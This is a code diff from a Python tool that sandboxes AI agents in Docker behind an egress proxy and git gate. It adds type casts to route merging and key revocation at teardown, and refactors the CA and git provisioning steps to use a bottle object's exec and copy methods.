write_per_bottle_dockerfile,
|
write_per_bottle_dockerfile,
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -71,11 +71,11 @@ from .git_gate import (
|
|||||||
GIT_GATE_ENTRYPOINT_IN_CONTAINER,
|
GIT_GATE_ENTRYPOINT_IN_CONTAINER,
|
||||||
GIT_GATE_HOOK_IN_CONTAINER,
|
GIT_GATE_HOOK_IN_CONTAINER,
|
||||||
)
|
)
|
||||||
from .pipelock import (
|
from ...pipelock import (
|
||||||
PIPELOCK_CA_CERT_IN_CONTAINER,
|
PIPELOCK_CA_CERT_IN_CONTAINER,
|
||||||
PIPELOCK_CA_KEY_IN_CONTAINER,
|
PIPELOCK_CA_KEY_IN_CONTAINER,
|
||||||
PIPELOCK_PORT,
|
|
||||||
)
|
)
|
||||||
|
from .pipelock import PIPELOCK_PORT
|
||||||
from .sidecar_bundle import (
|
from .sidecar_bundle import (
|
||||||
SIDECAR_BUNDLE_DOCKERFILE,
|
SIDECAR_BUNDLE_DOCKERFILE,
|
||||||
SIDECAR_BUNDLE_IMAGE,
|
SIDECAR_BUNDLE_IMAGE,
|
||||||
|
|||||||
@@ -26,6 +26,7 @@ import json
|
|||||||
import re
|
import re
|
||||||
import subprocess
|
import subprocess
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
from typing import cast
|
||||||
|
|
||||||
from ...egress import EGRESS_ROUTES_IN_CONTAINER
|
from ...egress import EGRESS_ROUTES_IN_CONTAINER
|
||||||
from ...egress_addon_core import load_routes
|
from ...egress_addon_core import load_routes
|
||||||
@@ -57,7 +58,8 @@ def _render_routes_payload(routes_list: list[dict[str, object]]) -> str:
|
|||||||
if auth_scheme and token_env:
|
if auth_scheme and token_env:
|
||||||
lines.append(f' auth_scheme: "{auth_scheme}"')
|
lines.append(f' auth_scheme: "{auth_scheme}"')
|
||||||
lines.append(f' token_env: "{token_env}"')
|
lines.append(f' token_env: "{token_env}"')
|
||||||
paths = entry.get("path_allowlist") or []
|
paths_obj = entry.get("path_allowlist")
|
||||||
|
paths = cast(list[str], paths_obj) if isinstance(paths_obj, list) else []
|
||||||
if paths:
|
if paths:
|
||||||
lines.append(" path_allowlist:")
|
lines.append(" path_allowlist:")
|
||||||
for p in paths:
|
for p in paths:
|
||||||
@@ -257,6 +259,7 @@ def _merge_single_route(
|
|||||||
raise EgressApplyError(
|
raise EgressApplyError(
|
||||||
"current routes.yaml: 'routes' is not a list"
|
"current routes.yaml: 'routes' is not a list"
|
||||||
)
|
)
|
||||||
|
routes_typed = cast(list[object], routes)
|
||||||
|
|
||||||
new_host = str(new_route.get("host", "")).lower()
|
new_host = str(new_route.get("host", "")).lower()
|
||||||
if not new_host:
|
if not new_host:
|
||||||
@@ -264,22 +267,25 @@ def _merge_single_route(
|
|||||||
"proposed route is missing 'host'"
|
"proposed route is missing 'host'"
|
||||||
)
|
)
|
||||||
|
|
||||||
proposed_paths = list(new_route.get("path_allowlist") or [])
|
proposed_paths_obj = new_route.get("path_allowlist")
|
||||||
|
proposed_paths = cast(list[str], proposed_paths_obj) if isinstance(proposed_paths_obj, list) else []
|
||||||
|
|
||||||
# Look for an existing entry with the same host (case-insensitive).
|
# Look for an existing entry with the same host (case-insensitive).
|
||||||
for entry in routes:
|
for entry in routes_typed:
|
||||||
if not isinstance(entry, dict):
|
if not isinstance(entry, dict):
|
||||||
continue
|
continue
|
||||||
if str(entry.get("host", "")).lower() == new_host:
|
entry_typed = cast(dict[str, object], entry)
|
||||||
|
if str(entry_typed.get("host", "")).lower() == new_host:
|
||||||
# Merge path_allowlist: union proposed + existing, ordered
|
# Merge path_allowlist: union proposed + existing, ordered
|
||||||
# by first-seen so existing paths stay in original order.
|
# by first-seen so existing paths stay in original order.
|
||||||
existing_paths: list[str] = list(entry.get("path_allowlist") or [])
|
existing_paths_obj = entry_typed.get("path_allowlist")
|
||||||
|
existing_paths = cast(list[str], existing_paths_obj) if isinstance(existing_paths_obj, list) else []
|
||||||
seen = {p: None for p in existing_paths}
|
seen = {p: None for p in existing_paths}
|
||||||
for p in proposed_paths:
|
for p in proposed_paths:
|
||||||
seen.setdefault(p, None)
|
seen.setdefault(p, None)
|
||||||
merged_paths = list(seen.keys())
|
merged_paths = list(seen.keys())
|
||||||
if merged_paths:
|
if merged_paths:
|
||||||
entry["path_allowlist"] = merged_paths
|
entry_typed["path_allowlist"] = merged_paths
|
||||||
# Preserve existing auth — tool description says agent-
|
# Preserve existing auth — tool description says agent-
|
||||||
# proposed auth on an existing host is ignored.
|
# proposed auth on an existing host is ignored.
|
||||||
break
|
break
|
||||||
@@ -289,19 +295,22 @@ def _merge_single_route(
|
|||||||
# `auth` was proposed (otherwise the addon's parser rejects
|
# `auth` was proposed (otherwise the addon's parser rejects
|
||||||
# a half-set auth pair). Slots: count existing slots, pick
|
# a half-set auth pair). Slots: count existing slots, pick
|
||||||
# the next free index.
|
# the next free index.
|
||||||
entry = {"host": new_route["host"]}
|
entry_typed: dict[str, object] = {"host": new_route.get("host")} # type: ignore
|
||||||
if proposed_paths:
|
if proposed_paths:
|
||||||
entry["path_allowlist"] = proposed_paths
|
entry_typed["path_allowlist"] = proposed_paths
|
||||||
auth = new_route.get("auth")
|
auth = new_route.get("auth")
|
||||||
if isinstance(auth, dict) and auth.get("scheme") and auth.get("token_ref"):
|
if isinstance(auth, dict) and auth.get("scheme") and auth.get("token_ref"): # type: ignore
|
||||||
|
auth_typed = cast(dict[str, object], auth)
|
||||||
existing_slots = sorted({
|
existing_slots = sorted({
|
||||||
str(r.get("token_env"))
|
str(r_entry.get("token_env", ""))
|
||||||
for r in routes
|
for r_entry_obj in routes_typed
|
||||||
if isinstance(r, dict) and r.get("token_env")
|
if isinstance(r_entry_obj, dict)
|
||||||
|
for r_entry in [cast(dict[str, object], r_entry_obj)]
|
||||||
|
if r_entry.get("token_env")
|
||||||
})
|
})
|
||||||
next_idx = len(existing_slots)
|
next_idx = len(existing_slots)
|
||||||
entry["auth_scheme"] = str(auth["scheme"])
|
entry_typed["auth_scheme"] = str(cast(object, auth_typed.get("scheme")))
|
||||||
entry["token_env"] = f"EGRESS_TOKEN_{next_idx}"
|
entry_typed["token_env"] = f"EGRESS_TOKEN_{next_idx}"
|
||||||
# NOTE: the addon reads token VALUES from its container's
|
# NOTE: the addon reads token VALUES from its container's
|
||||||
# environ keyed by token_env. A newly-added auth route at
|
# environ keyed by token_env. A newly-added auth route at
|
||||||
# runtime points at a slot that has no env value → the
|
# runtime points at a slot that has no env value → the
|
||||||
@@ -309,9 +318,9 @@ def _merge_single_route(
|
|||||||
# arranges for the value to land in the container's env.
|
# arranges for the value to land in the container's env.
|
||||||
# Recording this here so the operator-facing diff carries
|
# Recording this here so the operator-facing diff carries
|
||||||
# the slot name they'll need to provision.
|
# the slot name they'll need to provision.
|
||||||
routes.append(entry)
|
routes_typed.append(entry_typed)
|
||||||
|
|
||||||
return _render_routes_payload(routes)
|
return _render_routes_payload(cast(list[dict[str, object]], routes_typed))
|
||||||
|
|
||||||
|
|
||||||
def add_route(slug: str, proposed_route_json: str) -> tuple[str, str]:
|
def add_route(slug: str, proposed_route_json: str) -> tuple[str, str]:
|
||||||
|
|||||||
@@ -43,6 +43,7 @@ from pathlib import Path
|
|||||||
from typing import Callable, Generator
|
from typing import Callable, Generator
|
||||||
|
|
||||||
from ...egress import egress_resolve_token_values
|
from ...egress import egress_resolve_token_values
|
||||||
|
from ...git_gate import revoke_git_gate_provisioned_keys
|
||||||
from ...log import info, warn
|
from ...log import info, warn
|
||||||
from . import network as network_mod
|
from . import network as network_mod
|
||||||
from . import util as docker_mod
|
from . import util as docker_mod
|
||||||
@@ -51,6 +52,7 @@ from .bottle_plan import DockerBottlePlan
|
|||||||
from .bottle_state import (
|
from .bottle_state import (
|
||||||
bottle_state_dir,
|
bottle_state_dir,
|
||||||
egress_state_dir,
|
egress_state_dir,
|
||||||
|
git_gate_state_dir,
|
||||||
pipelock_state_dir,
|
pipelock_state_dir,
|
||||||
)
|
)
|
||||||
from .compose import (
|
from .compose import (
|
||||||
@@ -78,20 +80,26 @@ _REPO_DIR = str(Path(__file__).resolve().parent.parent.parent.parent)
|
|||||||
def launch(
|
def launch(
|
||||||
plan: DockerBottlePlan,
|
plan: DockerBottlePlan,
|
||||||
*,
|
*,
|
||||||
provision: Callable[[DockerBottlePlan, str], str | None],
|
provision: Callable[[DockerBottlePlan, "DockerBottle"], str | None],
|
||||||
) -> Generator[DockerBottle, None, None]:
|
) -> Generator[DockerBottle, None, None]:
|
||||||
"""Build, launch, and provision a Docker bottle via compose.
|
"""Build, launch, and provision a Docker bottle via compose.
|
||||||
Teardown on exit."""
|
Teardown on exit."""
|
||||||
stack = ExitStack()
|
stack = ExitStack()
|
||||||
|
|
||||||
|
_bottle_for_revoke = plan.spec.manifest.bottle_for(plan.spec.agent_name)
|
||||||
|
_git_gate_dir_for_revoke = git_gate_state_dir(plan.slug)
|
||||||
|
|
||||||
def teardown() -> None:
|
def teardown() -> None:
|
||||||
try:
|
try:
|
||||||
stack.close()
|
stack.close()
|
||||||
except BaseException as exc:
|
except BaseException as exc: # noqa: W0718 — teardown must not fail
|
||||||
warn(
|
warn(
|
||||||
f"teardown failed for container {plan.container_name}"
|
f"teardown failed for container {plan.container_name}"
|
||||||
f" (compose-down): {exc!r}"
|
f" (compose-down): {exc!r}"
|
||||||
)
|
)
|
||||||
|
revoke_git_gate_provisioned_keys(
|
||||||
|
_bottle_for_revoke, _git_gate_dir_for_revoke
|
||||||
|
)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Step 1: agent image build. Sidecar images get built lazily by
|
# Step 1: agent image build. Sidecar images get built lazily by
|
||||||
@@ -200,19 +208,21 @@ def launch(
|
|||||||
compose_dump_logs, project, compose_file, compose_log_path(state_dir),
|
compose_dump_logs, project, compose_file, compose_log_path(state_dir),
|
||||||
)
|
)
|
||||||
|
|
||||||
# Step 8: provision. Unchanged — uses `docker exec` against
|
# Step 8: provision. Create the bottle first so provisioners
|
||||||
# the agent container by its known name.
|
# can use bottle.exec / bottle.cp_in; set the prompt path
|
||||||
prompt_path = provision(plan, plan.container_name)
|
# returned by provision_prompt after the fact.
|
||||||
|
bottle = DockerBottle(
|
||||||
|
plan.container_name,
|
||||||
|
teardown,
|
||||||
|
None,
|
||||||
|
agent_command=plan.agent_command,
|
||||||
|
agent_prompt_mode=plan.agent_prompt_mode,
|
||||||
|
)
|
||||||
|
bottle.prompt_path = provision(plan, bottle)
|
||||||
|
|
||||||
# Step 9: yield. exec_agent continues to use `docker exec -it`
|
# Step 9: yield. exec_agent continues to use `docker exec -it`
|
||||||
# — the agent runs `sleep infinity` per the renderer's
|
# — the agent runs `sleep infinity` per the renderer's
|
||||||
# service spec.
|
# service spec.
|
||||||
yield DockerBottle(
|
yield bottle
|
||||||
plan.container_name,
|
|
||||||
teardown,
|
|
||||||
prompt_path,
|
|
||||||
agent_command=plan.agent_command,
|
|
||||||
agent_prompt_mode=plan.agent_prompt_mode,
|
|
||||||
)
|
|
||||||
finally:
|
finally:
|
||||||
teardown()
|
teardown()
|
||||||
|
|||||||
@@ -15,30 +15,23 @@ import subprocess
|
|||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
from ...log import die
|
from ...log import die
|
||||||
# Re-exported for the compose renderer + smolmachines launch step
|
|
||||||
# (they used to import these from this module before they moved to
|
|
||||||
# the platform-neutral pipelock module).
|
|
||||||
from ...pipelock import ( # noqa: F401
|
|
||||||
PIPELOCK_CA_CERT_IN_CONTAINER,
|
|
||||||
PIPELOCK_CA_KEY_IN_CONTAINER,
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
# Pipelock image, pinned by digest. The digest is the multi-arch image
|
# Pipelock image, pinned by digest. The digest is the multi-arch image
|
||||||
# index for ghcr.io/luckypipewrench/pipelock:2.3.0.
|
# index for ghcr.io/luckypipewrench/pipelock:2.3.0.
|
||||||
PIPELOCK_IMAGE = os.environ.get(
|
PIPELOCK_IMAGE = os.environ.get(
|
||||||
"BOT_BOTTLE_PIPELOCK_IMAGE",
|
"BOT_BOTTLE_PIPELOCK_IMAGE",
|
||||||
"ghcr.io/luckypipewrench/pipelock@sha256:3b1a39417b98406ddc5dc2d8fcb42865ddc0c68a43d355db55f0f8cb06bc6de9",
|
"ghcr.io/luckypipewrench/pipelock@sha256:"
|
||||||
|
"3b1a39417b98406ddc5dc2d8fcb42865ddc0c68a43d355db55f0f8cb06bc6de9",
|
||||||
)
|
)
|
||||||
|
|
||||||
# Listening port for pipelock's forward proxy.
|
# Listening port for pipelock's forward proxy.
|
||||||
PIPELOCK_PORT = os.environ.get("BOT_BOTTLE_PIPELOCK_PORT", "8888")
|
PIPELOCK_PORT = os.environ.get("BOT_BOTTLE_PIPELOCK_PORT", "8888")
|
||||||
|
|
||||||
|
|
||||||
# The URL egress dials for its upstream HTTPS_PROXY. egress and
|
# The URL egress dials for its upstream HTTPS_PROXY. egress and pipelock
|
||||||
# pipelock share the same container's network namespace inside the
|
# share the same container's network namespace inside the sidecar bundle, so
|
||||||
# sidecar bundle, so loopback reaches pipelock directly — no docker
|
# loopback reaches pipelock directly — no docker DNS aliases involved.
|
||||||
# DNS aliases involved.
|
|
||||||
BUNDLE_LOCAL_PIPELOCK_URL = f"http://127.0.0.1:{PIPELOCK_PORT}"
|
BUNDLE_LOCAL_PIPELOCK_URL = f"http://127.0.0.1:{PIPELOCK_PORT}"
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -99,7 +99,7 @@ def fetch_current_yaml(slug: str) -> str:
|
|||||||
f"could not fetch pipelock.yaml from {container}: "
|
f"could not fetch pipelock.yaml from {container}: "
|
||||||
f"{(r.stderr or '').strip() or 'container not running?'}"
|
f"{(r.stderr or '').strip() or 'container not running?'}"
|
||||||
)
|
)
|
||||||
return Path(tmp_path).read_text()
|
return Path(tmp_path).read_text(encoding="utf-8")
|
||||||
finally:
|
finally:
|
||||||
try:
|
try:
|
||||||
Path(tmp_path).unlink()
|
Path(tmp_path).unlink()
|
||||||
|
|||||||
@@ -63,7 +63,7 @@ def resolve_plan(
|
|||||||
bottle = manifest.bottle_for(spec.agent_name)
|
bottle = manifest.bottle_for(spec.agent_name)
|
||||||
provider = bottle.agent_provider
|
provider = bottle.agent_provider
|
||||||
provider_runtime = runtime_for(provider.template)
|
provider_runtime = runtime_for(provider.template)
|
||||||
guest_home = os.environ.get("BOT_BOTTLE_CONTAINER_HOME", "/home/node")
|
guest_home = "/home/node"
|
||||||
workspace_plan = resolve_workspace_plan(spec, guest_home=guest_home)
|
workspace_plan = resolve_workspace_plan(spec, guest_home=guest_home)
|
||||||
|
|
||||||
# PRD 0016 follow-up: identity, not bare slug. A fresh `start`
|
# PRD 0016 follow-up: identity, not bare slug. A fresh `start`
|
||||||
@@ -219,7 +219,7 @@ def resolve_plan(
|
|||||||
else Path(__file__).resolve().parent.parent.parent.parent / "Dockerfile.claude"
|
else Path(__file__).resolve().parent.parent.parent.parent / "Dockerfile.claude"
|
||||||
)
|
)
|
||||||
dockerfile_content = (
|
dockerfile_content = (
|
||||||
supervise_dockerfile_path.read_text()
|
supervise_dockerfile_path.read_text(encoding="utf-8")
|
||||||
if supervise_dockerfile_path.is_file()
|
if supervise_dockerfile_path.is_file()
|
||||||
else ""
|
else ""
|
||||||
)
|
)
|
||||||
@@ -233,6 +233,7 @@ def resolve_plan(
|
|||||||
return DockerBottlePlan(
|
return DockerBottlePlan(
|
||||||
spec=spec,
|
spec=spec,
|
||||||
stage_dir=stage_dir,
|
stage_dir=stage_dir,
|
||||||
|
guest_home=guest_home,
|
||||||
slug=slug,
|
slug=slug,
|
||||||
container_name=container_name,
|
container_name=container_name,
|
||||||
container_name_pinned=container_name_pinned,
|
container_name_pinned=container_name_pinned,
|
||||||
|
|||||||
@@ -1,8 +1,11 @@
|
|||||||
"""Per-provisioner modules for the Docker backend.
|
"""Backend-infrastructure provisioners for the Docker backend.
|
||||||
|
|
||||||
Each module exports one top-level function:
|
Per PRD 0050 the per-provider provisioning steps (prompt, skills,
|
||||||
provision_<thing>(plan: DockerBottlePlan, target: str) -> ...
|
declarative provision-plan apply, supervise MCP registration) live on
|
||||||
|
the `AgentProvider` plugin under `bot_bottle/contrib/`. The modules
|
||||||
|
left in this subpackage handle only the steps that are
|
||||||
|
backend-specific:
|
||||||
|
|
||||||
`DockerBottleBackend.provision_*` methods delegate to these. The
|
- ca.py — install per-bottle CA bundle into the guest trust store
|
||||||
abstract `BottleBackend.provision_*` surface is unchanged; this
|
- git.py — copy host cwd `.git` into the guest when --cwd is used
|
||||||
subpackage exists only to keep `backend.py` from being a god-file."""
|
"""
|
||||||
|
|||||||
@@ -31,33 +31,21 @@ stage dir; nothing in the agent ever sees it."""
|
|||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import subprocess
|
from ... import Bottle
|
||||||
|
|
||||||
from ...util import AGENT_CA_PATH, log_ca_fingerprint, select_ca_cert
|
from ...util import AGENT_CA_PATH, log_ca_fingerprint, select_ca_cert
|
||||||
from ..bottle_plan import DockerBottlePlan
|
from ..bottle_plan import DockerBottlePlan
|
||||||
|
|
||||||
|
|
||||||
def provision_ca(plan: DockerBottlePlan, target: str) -> None:
|
def provision_ca(plan: DockerBottlePlan, bottle: Bottle) -> None:
|
||||||
"""Copy the agent-facing CA cert into the agent, rebuild the
|
"""Copy the agent-facing CA cert into the agent, rebuild the
|
||||||
trust bundle, emit a one-line fingerprint log. Called from
|
trust bundle, emit a one-line fingerprint log. Called from
|
||||||
`BottleBackend.provision` after the agent container is up."""
|
`BottleBackend.provision` after the agent container is up."""
|
||||||
container = target
|
|
||||||
cert_host_path, label = select_ca_cert(plan.egress_plan, plan.proxy_plan)
|
cert_host_path, label = select_ca_cert(plan.egress_plan, plan.proxy_plan)
|
||||||
|
|
||||||
subprocess.run(
|
bottle.cp_in(str(cert_host_path), AGENT_CA_PATH)
|
||||||
["docker", "cp", str(cert_host_path), f"{container}:{AGENT_CA_PATH}"],
|
bottle.exec(
|
||||||
stdout=subprocess.DEVNULL,
|
f"chmod 644 {AGENT_CA_PATH} && update-ca-certificates",
|
||||||
check=True,
|
user="root",
|
||||||
)
|
|
||||||
subprocess.run(
|
|
||||||
["docker", "exec", "-u", "0", container, "chmod", "644", AGENT_CA_PATH],
|
|
||||||
stdout=subprocess.DEVNULL,
|
|
||||||
check=True,
|
|
||||||
)
|
|
||||||
subprocess.run(
|
|
||||||
["docker", "exec", "-u", "0", container, "update-ca-certificates"],
|
|
||||||
stdout=subprocess.DEVNULL,
|
|
||||||
check=True,
|
|
||||||
)
|
)
|
||||||
|
|
||||||
log_ca_fingerprint(cert_host_path, label)
|
log_ca_fingerprint(cert_host_path, label)
|
||||||
|
|||||||
@@ -18,75 +18,62 @@ Three concerns, all about git in the agent:
|
|||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import os
|
import shlex
|
||||||
import subprocess
|
|
||||||
|
|
||||||
from ....git_gate import GIT_GATE_HOSTNAME, git_gate_render_gitconfig
|
from ....git_gate import GIT_GATE_HOSTNAME, git_gate_render_gitconfig
|
||||||
from ....log import info
|
from ....log import info
|
||||||
from .. import util as docker_mod
|
from ... import Bottle
|
||||||
from ..bottle_plan import DockerBottlePlan
|
from ..bottle_plan import DockerBottlePlan
|
||||||
|
|
||||||
|
|
||||||
def provision_git(plan: DockerBottlePlan, target: str) -> None:
|
def provision_git(plan: DockerBottlePlan, bottle: Bottle) -> None:
|
||||||
"""Set up git inside the bottle. Runs all three subcases; each
|
"""Set up git inside the bottle. Runs all three subcases; each
|
||||||
no-ops when its condition isn't met."""
|
no-ops when its condition isn't met."""
|
||||||
_provision_cwd_git(plan, target)
|
_provision_cwd_git(plan, bottle)
|
||||||
_provision_git_gate_config(plan, target)
|
_provision_git_gate_config(plan, bottle)
|
||||||
_provision_git_user(plan, target)
|
_provision_git_user(plan, bottle)
|
||||||
|
|
||||||
|
|
||||||
def _provision_cwd_git(plan: DockerBottlePlan, target: str) -> None:
|
def _provision_cwd_git(plan: DockerBottlePlan, bottle: Bottle) -> None:
|
||||||
"""If --cwd was set and the host cwd has a .git directory, copy
|
"""If --cwd was set and the host cwd has a .git directory, copy
|
||||||
it into /home/node/workspace/.git and fix ownership. No-op
|
it into /home/node/workspace/.git and fix ownership. No-op
|
||||||
otherwise."""
|
otherwise."""
|
||||||
workspace = plan.workspace_plan
|
workspace = plan.workspace_plan
|
||||||
if not (workspace.enabled and workspace.copy_git and workspace.has_host_git_dir):
|
if not (workspace.enabled and workspace.copy_git and workspace.has_host_git_dir):
|
||||||
return
|
return
|
||||||
container = target
|
|
||||||
guest_workspace_git = f"{workspace.guest_path}/.git"
|
guest_workspace_git = f"{workspace.guest_path}/.git"
|
||||||
host_git = str(workspace.host_path / ".git")
|
host_git = str(workspace.host_path / ".git")
|
||||||
info(f"copying {host_git} -> {container}:{guest_workspace_git}")
|
info(f"copying {host_git} -> {bottle.name}:{guest_workspace_git}")
|
||||||
subprocess.run(
|
bottle.cp_in(host_git, guest_workspace_git)
|
||||||
["docker", "cp", host_git, f"{container}:{guest_workspace_git}"],
|
bottle.exec(
|
||||||
stdout=subprocess.DEVNULL,
|
f"chown -R {shlex.quote(workspace.owner)} {shlex.quote(guest_workspace_git)}",
|
||||||
check=True,
|
user="root",
|
||||||
)
|
|
||||||
subprocess.run(
|
|
||||||
[
|
|
||||||
"docker", "exec", "-u", "0", container,
|
|
||||||
"chown", "-R", workspace.owner, guest_workspace_git,
|
|
||||||
],
|
|
||||||
stdout=subprocess.DEVNULL,
|
|
||||||
check=True,
|
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
def _provision_git_gate_config(plan: DockerBottlePlan, target: str) -> None:
|
def _provision_git_gate_config(plan: DockerBottlePlan, bottle: Bottle) -> None:
|
||||||
"""Write ~/.gitconfig in the bottle with the git-gate
|
"""Write ~/.gitconfig in the bottle with the git-gate
|
||||||
insteadOf rules. No-op when the bottle has no `git` entries."""
|
insteadOf rules. No-op when the bottle has no `git` entries."""
|
||||||
bottle = plan.spec.manifest.bottle_for(plan.spec.agent_name)
|
manifest_bottle = plan.spec.manifest.bottle_for(plan.spec.agent_name)
|
||||||
if not bottle.git:
|
if not manifest_bottle.git:
|
||||||
return
|
return
|
||||||
container = target
|
container_gitconfig = f"{plan.guest_home}/.gitconfig"
|
||||||
container_home = os.environ.get("BOT_BOTTLE_CONTAINER_HOME", "/home/node")
|
|
||||||
container_gitconfig = f"{container_home}/.gitconfig"
|
|
||||||
|
|
||||||
content = git_gate_render_gitconfig(bottle.git, GIT_GATE_HOSTNAME)
|
content = git_gate_render_gitconfig(manifest_bottle.git, GIT_GATE_HOSTNAME)
|
||||||
config_file = plan.stage_dir / "agent_gitconfig"
|
config_file = plan.stage_dir / "agent_gitconfig"
|
||||||
config_file.write_text(content)
|
config_file.write_text(content)
|
||||||
config_file.chmod(0o600)
|
config_file.chmod(0o600)
|
||||||
|
|
||||||
info(f"writing {container_gitconfig} with {len(bottle.git)} insteadOf rule(s)")
|
info(f"writing {container_gitconfig} with {len(manifest_bottle.git)} insteadOf rule(s)")
|
||||||
subprocess.run(
|
bottle.cp_in(str(config_file), container_gitconfig)
|
||||||
["docker", "cp", str(config_file), f"{container}:{container_gitconfig}"],
|
bottle.exec(
|
||||||
stdout=subprocess.DEVNULL,
|
f"chown node:node {shlex.quote(container_gitconfig)} && "
|
||||||
check=True,
|
f"chmod 644 {shlex.quote(container_gitconfig)}",
|
||||||
|
user="root",
|
||||||
)
|
)
|
||||||
docker_mod.docker_exec_root(container, ["chown", "node:node", container_gitconfig])
|
|
||||||
docker_mod.docker_exec_root(container, ["chmod", "644", container_gitconfig])
|
|
||||||
|
|
||||||
|
|
||||||
def _provision_git_user(plan: DockerBottlePlan, target: str) -> None:
|
def _provision_git_user(plan: DockerBottlePlan, bottle: Bottle) -> None:
|
||||||
"""Apply `git config --global user.{name,email}` inside the
|
"""Apply `git config --global user.{name,email}` inside the
|
||||||
bottle so the agent's commits are attributed to the operator-
|
bottle so the agent's commits are attributed to the operator-
|
||||||
chosen identity instead of the agent image's default
|
chosen identity instead of the agent image's default
|
||||||
@@ -101,23 +88,19 @@ def _provision_git_user(plan: DockerBottlePlan, target: str) -> None:
|
|||||||
Each field set independently — name-only or email-only
|
Each field set independently — name-only or email-only
|
||||||
configs only run the `git config` line for the field
|
configs only run the `git config` line for the field
|
||||||
present."""
|
present."""
|
||||||
bottle = plan.spec.manifest.bottle_for(plan.spec.agent_name)
|
manifest_bottle = plan.spec.manifest.bottle_for(plan.spec.agent_name)
|
||||||
gu = bottle.git_user
|
gu = manifest_bottle.git_user
|
||||||
if gu.is_empty():
|
if gu.is_empty():
|
||||||
return
|
return
|
||||||
if gu.name:
|
if gu.name:
|
||||||
info(f"git config --global user.name = {gu.name!r}")
|
info(f"git config --global user.name = {gu.name!r}")
|
||||||
subprocess.run(
|
bottle.exec(
|
||||||
["docker", "exec", "-u", "node", target,
|
f"git config --global user.name {shlex.quote(gu.name)}",
|
||||||
"git", "config", "--global", "user.name", gu.name],
|
user="node",
|
||||||
stdout=subprocess.DEVNULL,
|
|
||||||
check=True,
|
|
||||||
)
|
)
|
||||||
if gu.email:
|
if gu.email:
|
||||||
info(f"git config --global user.email = {gu.email!r}")
|
info(f"git config --global user.email = {gu.email!r}")
|
||||||
subprocess.run(
|
bottle.exec(
|
||||||
["docker", "exec", "-u", "node", target,
|
f"git config --global user.email {shlex.quote(gu.email)}",
|
||||||
"git", "config", "--global", "user.email", gu.email],
|
user="node",
|
||||||
stdout=subprocess.DEVNULL,
|
|
||||||
check=True,
|
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -1,43 +0,0 @@
|
|||||||
"""Copy the agent prompt into a running Docker bottle.
|
|
||||||
|
|
||||||
The prompt file is always copied (so the in-container path always
|
|
||||||
exists) but `--append-system-prompt-file` only fires when the agent
|
|
||||||
actually has a prompt — the return value signals which case."""
|
|
||||||
|
|
||||||
from __future__ import annotations
|
|
||||||
|
|
||||||
import os
|
|
||||||
import subprocess
|
|
||||||
|
|
||||||
from ..bottle_plan import DockerBottlePlan
|
|
||||||
|
|
||||||
|
|
||||||
def provision_prompt(plan: DockerBottlePlan, target: str) -> str | None:
|
|
||||||
"""Copy the prompt file into the container, fix ownership/mode.
|
|
||||||
Returns the in-container path if the agent has a non-empty
|
|
||||||
prompt (drives --append-system-prompt-file), else None. The
|
|
||||||
file is copied either way so the path always exists."""
|
|
||||||
container = target
|
|
||||||
container_home = os.environ.get("BOT_BOTTLE_CONTAINER_HOME", "/home/node")
|
|
||||||
in_container_prompt_path = f"{container_home}/.bot-bottle-prompt.txt"
|
|
||||||
|
|
||||||
subprocess.run(
|
|
||||||
["docker", "cp", str(plan.prompt_file), f"{container}:{in_container_prompt_path}"],
|
|
||||||
stdout=subprocess.DEVNULL,
|
|
||||||
check=True,
|
|
||||||
)
|
|
||||||
# `docker cp` preserves host UID; re-own/mode as root so node
|
|
||||||
# can read its own mode-600 prompt regardless of host UID.
|
|
||||||
subprocess.run(
|
|
||||||
["docker", "exec", "-u", "0", container, "chown", "node:node", in_container_prompt_path],
|
|
||||||
stdout=subprocess.DEVNULL,
|
|
||||||
check=True,
|
|
||||||
)
|
|
||||||
subprocess.run(
|
|
||||||
["docker", "exec", "-u", "0", container, "chmod", "600", in_container_prompt_path],
|
|
||||||
stdout=subprocess.DEVNULL,
|
|
||||||
check=True,
|
|
||||||
)
|
|
||||||
|
|
||||||
agent = plan.spec.manifest.agents[plan.spec.agent_name]
|
|
||||||
return in_container_prompt_path if agent.prompt else None
|
|
||||||
@@ -1,36 +0,0 @@
|
|||||||
"""Provision non-secret provider auth markers into a Docker bottle."""
|
|
||||||
|
|
||||||
from __future__ import annotations
|
|
||||||
|
|
||||||
import subprocess
|
|
||||||
|
|
||||||
from ..bottle_plan import DockerBottlePlan
|
|
||||||
|
|
||||||
|
|
||||||
def provision_provider_auth(plan: DockerBottlePlan, target: str) -> None:
|
|
||||||
"""Apply provider-owned guest setup through Docker primitives."""
|
|
||||||
provision = plan.agent_provision
|
|
||||||
for d in provision.dirs:
|
|
||||||
_exec(target, ["mkdir", "-p", d.guest_path])
|
|
||||||
_exec(target, ["chown", d.owner, d.guest_path])
|
|
||||||
_exec(target, ["chmod", d.mode, d.guest_path])
|
|
||||||
for command in provision.pre_copy:
|
|
||||||
_exec(target, list(command.argv))
|
|
||||||
for f in provision.files:
|
|
||||||
subprocess.run(
|
|
||||||
["docker", "cp", str(f.host_path), f"{target}:{f.guest_path}"],
|
|
||||||
stdout=subprocess.DEVNULL,
|
|
||||||
check=True,
|
|
||||||
)
|
|
||||||
_exec(target, ["chown", f.owner, f.guest_path])
|
|
||||||
_exec(target, ["chmod", f.mode, f.guest_path])
|
|
||||||
for command in provision.verify:
|
|
||||||
_exec(target, list(command.argv))
|
|
||||||
|
|
||||||
|
|
||||||
def _exec(target: str, argv: list[str]) -> None:
|
|
||||||
subprocess.run(
|
|
||||||
["docker", "exec", "-u", "0", target, *argv],
|
|
||||||
stdout=subprocess.DEVNULL,
|
|
||||||
check=True,
|
|
||||||
)
|
|
||||||
@@ -1,62 +0,0 @@
|
|||||||
"""Copy host-side skill directories into a running Docker bottle.
|
|
||||||
|
|
||||||
Skills are validated on the host before launch by the base class's
|
|
||||||
`BottleBackend._validate_skills` (called from `prepare`); this module
|
|
||||||
assumes that validation has already run. A skill disappearing between
|
|
||||||
validation and copy still dies loudly rather than silently producing
|
|
||||||
a partial container."""
|
|
||||||
|
|
||||||
from __future__ import annotations
|
